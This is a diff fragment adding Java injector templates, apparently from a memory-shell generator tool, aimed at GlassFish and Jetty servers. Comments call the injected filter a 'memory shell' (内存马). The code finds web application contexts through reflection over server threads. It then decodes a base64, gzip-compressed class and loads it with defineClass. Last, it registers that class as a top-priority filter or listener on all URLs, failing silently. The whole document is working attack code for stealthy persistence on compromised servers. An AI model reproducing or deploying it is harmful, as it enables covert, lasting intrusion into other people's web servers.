|
||||||
|
return className.substring(lastDotIndex + 1);
|
||||||
|
}
|
||||||
|
return className;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,193 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.EventListener;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
|
public class GlassFishListenerInjectorTpl {
|
||||||
|
public String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
new GlassFishListenerInjectorTpl();
|
||||||
|
}
|
||||||
|
|
||||||
|
public GlassFishListenerInjectorTpl() {
|
||||||
|
try {
|
||||||
|
List<Object> contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object listener = getListener(context);
|
||||||
|
addListener(context, listener);
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||||
|
List<Object> contexts = new ArrayList();
|
||||||
|
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||||
|
try {
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
|
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||||
|
for (Object key : childrenMap.keySet()) {
|
||||||
|
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
|
||||||
|
for (Object key1 : children.keySet()) {
|
||||||
|
Object context = children.get(key1);
|
||||||
|
if (context != null) contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getListener(Object context) throws Exception {
|
||||||
|
Object listener = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
listener = clazz.newInstance();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
return listener;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addListener(Object context, Object listener) throws Exception {
|
||||||
|
try {
|
||||||
|
List<EventListener> eventListeners = (List<EventListener>) invokeMethod(context, "getApplicationEventListeners");
|
||||||
|
boolean isExist = false;
|
||||||
|
for (EventListener eventListener : eventListeners) {
|
||||||
|
if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
|
||||||
|
isExist = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!isExist) {
|
||||||
|
eventListeners.add((EventListener) listener);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,297 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.UnsupportedEncodingException;
|
||||||
|
import java.lang.reflect.*;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* tested v8、v9
|
||||||
|
*/
|
||||||
|
|
||||||
|
public class JettyFilterInjectorTpl {
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "/*";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
new JettyFilterInjectorTpl();
|
||||||
|
}
|
||||||
|
|
||||||
|
public JettyFilterInjectorTpl() {
|
||||||
|
try {
|
||||||
|
List<Object> contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object filter = getFilter(context);
|
||||||
|
addFilter(context, filter);
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getFilterName(String className) {
|
||||||
|
if (className.contains(".")) {
|
||||||
|
int lastDotIndex = className.lastIndexOf(".");
|
||||||
|
return className.substring(lastDotIndex + 1);
|
||||||
|
} else {
|
||||||
|
return className;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addFilter(Object context, Object magicFilter) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, UnsupportedEncodingException {
|
||||||
|
String filterName = getFilterName(getClassName());
|
||||||
|
|
||||||
|
Class filterClass = magicFilter.getClass();
|
||||||
|
try {
|
||||||
|
Object servletHandler = getFV(context, "_servletHandler");
|
||||||
|
|
||||||
|
// 1. 判断是否已经注入
|
||||||
|
if (isInjected(servletHandler, filterClass.getName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Class filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder");
|
||||||
|
Constructor constructor = filterHolderClass.getConstructor(Class.class);
|
||||||
|
Object filterHolder = constructor.newInstance(filterClass);
|
||||||
|
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{filterName});
|
||||||
|
|
||||||
|
|
||||||
|
// 2. 注入内存马Filter
|
||||||
|
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
|
||||||
|
// 3. 修改Filter的优先级为第一位
|
||||||
|
Object filterMaps = getFV(servletHandler, "_filterMappings");
|
||||||
|
Object[] tmpFilterMaps = new Object[Array.getLength(filterMaps)];
|
||||||
|
int n = 1;
|
||||||
|
for (int i = 0; i < Array.getLength(filterMaps); i++) {
|
||||||
|
Object filter = Array.get(filterMaps, i);
|
||||||
|
String _filterName = (String) getFV(filter, "_filterName");
|
||||||
|
if (_filterName.contains(filterClass.getName())) {
|
||||||
|
tmpFilterMaps[0] = filter;
|
||||||
|
} else {
|
||||||
|
tmpFilterMaps[n] = filter;
|
||||||
|
n++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (int j = 0; j < tmpFilterMaps.length; j++) {
|
||||||
|
Array.set(filterMaps, j, tmpFilterMaps[j]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. 解决 jetty filterChainsCache 导致 filter 内存马连接失败的问题
|
||||||
|
invokeMethod(servletHandler, "invalidateChainsCache");
|
||||||
|
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Object> getContext() {
|
||||||
|
List<Object> contexts = new ArrayList();
|
||||||
|
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
Object contextClassLoader = getContextClassLoader(thread);
|
||||||
|
if (isWebAppClassLoader(contextClassLoader)) {
|
||||||
|
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
|
||||||
|
} else if (isHttpConnection(thread)) {
|
||||||
|
contexts.add(getContextFromHttpConnection(thread));
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getContextClassLoader(Thread thread) throws Exception {
|
||||||
|
return invokeMethod(thread, "getContextClassLoader");
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean isWebAppClassLoader(Object classLoader) {
|
||||||
|
return classLoader.getClass().getName().contains("WebAppClassLoader");
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
|
||||||
|
Object context = getFV(classLoader, "_context");
|
||||||
|
Object handler = getFV(context, "_servletHandler");
|
||||||
|
return getFV(handler, "_contextHandler");
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean isHttpConnection(Thread thread) throws Exception {
|
||||||
|
Object threadLocals = getFV(thread, "threadLocals");
|
||||||
|
Object table = getFV(threadLocals, "table");
|
||||||
|
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||||
|
Object entry = Array.get(table, i);
|
||||||
|
if (entry != null) {
|
||||||
|
Object httpConnection = getFV(entry, "value");
|
||||||
|
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getContextFromHttpConnection(Thread thread) throws Exception {
|
||||||
|
Object threadLocals = getFV(thread, "threadLocals");
|
||||||
|
Object table = getFV(threadLocals, "table");
|
||||||
|
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||||
|
Object entry = Array.get(table, i);
|
||||||
|
if (entry != null) {
|
||||||
|
Object httpConnection = getFV(entry, "value");
|
||||||
|
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||||
|
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
|
||||||
|
Object request = invokeMethod(httpChannel, "getRequest");
|
||||||
|
Object session = invokeMethod(request, "getSession");
|
||||||
|
Object servletContext = invokeMethod(session, "getServletContext");
|
||||||
|
return getFV(servletContext, "this$0");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Exception("HttpConnection not found");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private Object getFilter(Object context) {
|
||||||
|
|
||||||
|
Object filter = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
filter = clazz.newInstance();
|
||||||
|
} catch (Exception e1) {
|
||||||
|
e1.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return filter;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static boolean isInjected(Object servletHandler, String filterClassName) throws Exception {
|
||||||
|
try {
|
||||||
|
Object filterMaps = getFV(servletHandler, "_filterMappings");
|
||||||
|
for (int i = 0; i < Array.getLength(filterMaps); i++) {
|
||||||
|
Object filter = Array.get(filterMaps, i);
|
||||||
|
String filterName = (String) getFV(filter, "_filterName");
|
||||||
|
if (filterName.contains(filterClassName)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,251 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.EventListener;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* tested v7、v8、v9
|
||||||
|
*/
|
||||||
|
public class JettyListenerInjectorTpl {
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
new JettyListenerInjectorTpl();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public JettyListenerInjectorTpl() {
|
||||||
|
try {
|
||||||
|
List<Object> contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object listener = getListener(context);
|
||||||
|
addListener(context, listener);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Object> getContext() {
|
||||||
|
List<Object> contexts = new ArrayList();
|
||||||
|
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
Object contextClassLoader = getContextClassLoader(thread);
|
||||||
|
if (isWebAppClassLoader(contextClassLoader)) {
|
||||||
|
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
|
||||||
|
} else if (isHttpConnection(thread)) {
|
||||||
|
contexts.add(getContextFromHttpConnection(thread));
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getContextClassLoader(Thread thread) throws Exception {
|
||||||
|
return invokeMethod(thread, "getContextClassLoader");
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean isWebAppClassLoader(Object classLoader) {
|
||||||
|
return classLoader.getClass().getName().contains("WebAppClassLoader");
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
|
||||||
|
Object context = getFV(classLoader, "_context");
|
||||||
|
Object handler = getFV(context, "_servletHandler");
|
||||||
|
return getFV(handler, "_contextHandler");
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean isHttpConnection(Thread thread) throws Exception {
|
||||||
|
Object threadLocals = getFV(thread, "threadLocals");
|
||||||
|
Object table = getFV(threadLocals, "table");
|
||||||
|
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||||
|
Object entry = Array.get(table, i);
|
||||||
|
if (entry != null) {
|
||||||
|
Object httpConnection = getFV(entry, "value");
|
||||||
|
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getContextFromHttpConnection(Thread thread) throws Exception {
|
||||||
|
Object threadLocals = getFV(thread, "threadLocals");
|
||||||
|
Object table = getFV(threadLocals, "table");
|
||||||
|
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||||
|
Object entry = Array.get(table, i);
|
||||||
|
if (entry != null) {
|
||||||
|
Object httpConnection = getFV(entry, "value");
|
||||||
|
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||||
|
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
|
||||||
|
Object request = invokeMethod(httpChannel, "getRequest");
|
||||||
|
Object session = invokeMethod(request, "getSession");
|
||||||
|
Object servletContext = invokeMethod(session, "getServletContext");
|
||||||
|
return getFV(servletContext, "this$0");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Exception("HttpConnection not found");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private Object getListener(Object context) {
|
||||||
|
Object listener = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
listener = clazz.newInstance();
|
||||||
|
} catch (Throwable tt) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return listener;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void addListener(Object context, Object listener) {
|
||||||
|
try {
|
||||||
|
if (isInjected(context, listener.getClass().getName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static boolean isInjected(Object context, String className) throws Exception {
|
||||||
|
|
||||||
|
try {
|
||||||
|
// jetty v8、 v9
|
||||||
|
EventListener[] eventListeners = (EventListener[]) invokeMethod(context, "getEventListeners");
|
||||||
|
for (int i = 0; i < eventListeners.length; i++) {
|
||||||
|
if (eventListeners[i].getClass().getName().contains(className)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
